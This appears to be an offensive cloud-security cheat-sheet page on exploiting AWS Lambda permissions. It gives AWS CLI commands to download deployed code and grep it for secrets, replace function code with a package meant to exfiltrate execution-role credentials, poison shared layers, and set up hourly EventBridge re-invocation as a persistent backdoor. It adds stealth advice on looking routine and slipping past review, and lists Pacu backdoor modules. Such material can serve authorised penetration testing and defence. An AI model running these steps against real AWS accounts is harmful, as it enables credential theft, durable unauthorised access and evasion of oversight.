lambda:GetFunction returns a presigned URL to the function's deployment package, so its source can be downloaded and read for hard-coded secrets. With lambda:UpdateFunctionCode or lambda:UpdateFunctionConfiguration, the package or its layers can be replaced, and the next invocation runs attacker code under the function's execution role. A shared layer is a particularly quiet target: poisoning one layer version reaches every function that pins it.
Reading the deployed code#
aws lambda get-function --function-name <fn> --query 'Code.Location' # presigned zip URL
curl -s "<presigned-url>" -o fn.zip && unzip -o fn.zip -d fn/
grep -rinE 'secret|password|token|AKIA' fn/
Overwriting code to run under the role#
# package a handler that exfiltrates the execution-role credentials, then
aws lambda update-function-code --function-name <fn> --zip-file fileb://evil.zip
aws lambda invoke --function-name <fn> /dev/stdout # or wait for a natural trigger
Poisoning a layer#
aws lambda publish-layer-version --layer-name x --zip-file fileb://layer.zip
aws lambda update-function-configuration --function-name <fn> \
--layers arn:aws:lambda:<region>:<acct>:layer:x:1
Event-driven persistence#
A backdoored function only pays off when it runs, so pair the code or layer swap with a trigger that re-invokes it even when no one calls the API it fronts, a dead-man's-switch that keeps re-establishing access.
# scheduled re-invoke via EventBridge
aws events put-rule --name keepalive --schedule-expression 'rate(1 hour)'
aws lambda add-permission --function-name <fn> --statement-id eb \
--action lambda:InvokeFunction --principal events.amazonaws.com \
--source-arn <rule-arn>
aws events put-targets --rule keepalive --targets "Id=1,Arn=<fn-arn>"
The quieter variant reacts to a specific API event rather than a clock; see EventBridge for the rule that re-invokes a backdoor whenever a chosen call appears.
Exploitation notes#
- Overwriting code is both a privilege path (run as the execution role) and durable persistence (the function stays changed until redeployed).
- Prefer waiting for a natural trigger over
invokewhen stealth matters, so the execution looks routine. - Layers apply at the configuration level, so a layer swap leaves the function code untouched and is easy to miss in review.
Tools#
- AWS CLI (
lambda get-function,update-function-code,publish-layer-version): read and replace. - Pacu (
lambda__enum): locate functions and their layers. - Pacu (
lambda__backdoor_new_roles,lambda__backdoor_new_users,lambda__backdoor_new_sec_groups): plant Lambda-backed backdoors that fire on CloudWatch event triggers.